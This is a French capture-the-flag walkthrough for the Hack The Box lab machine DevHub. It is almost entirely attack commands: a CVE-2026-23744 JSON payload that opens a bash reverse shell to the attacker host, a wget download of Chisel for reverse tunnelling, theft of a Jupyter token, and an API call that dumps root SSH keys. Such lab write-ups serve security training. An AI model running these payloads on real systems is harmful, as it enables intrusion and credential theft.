Hack The Box - Procédure pas à pas de la machine DevHub (Linux de niveau intermédiaire, CVE-2026-23744, Tunneling avec Chisel, Jupyter, Escalade de privilèges root)
Machine: DevHub
Difficulté : Moyenne
OS: Linux
Sujets: CVE-2026-23744, Tunneling Chisel, Jupyter, API Flask, Escalade de privilèges root
nmap -sC -sV devhub.htb
Résultat :
echo "10.x.x.x devhub.htb" >> /etc/hosts
Terminal 1 – Listener :
nc -lvnp 4444
Terminal 2 – Payload :
curl -X POST http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'
✅ Shell en tant que mcp-dev
Serveur HTTP (attaquant) :
python3 -m http.server 8000 --bind 10.x.x.x
Télécharger Chisel sur la cible (shell mcp-dev) :
cd /tmp
wget http://10.x.x.x:8000/chisel
chmod +x chisel
Serveur Chisel (attaquant) :
./chisel server --reverse --port 9001
Client Chisel (shell mcp-dev) :
./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &
Lire le token (shell mcp-dev) :
ps aux | grep jupyter | grep -v grep
Token : a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx
Navigateur : http://localhost:8888/?token=...
import requests, json
url = "http://127.0.0.1:5000/tools/call"
headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"}
payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}
response = requests.post(url, headers=headers, json=payload)
print(json.dumps(response.json(), indent=2))
nano root_key
# Insérer la clé
chmod 600 root_key
ssh -i root_key [email protected]
cat /root/root.txt
cat /home/analyst/user.txt
Root Flag :
08be4cfb68597d0f9edfccxxxxxxxxxx
Bonne chance ! 🚀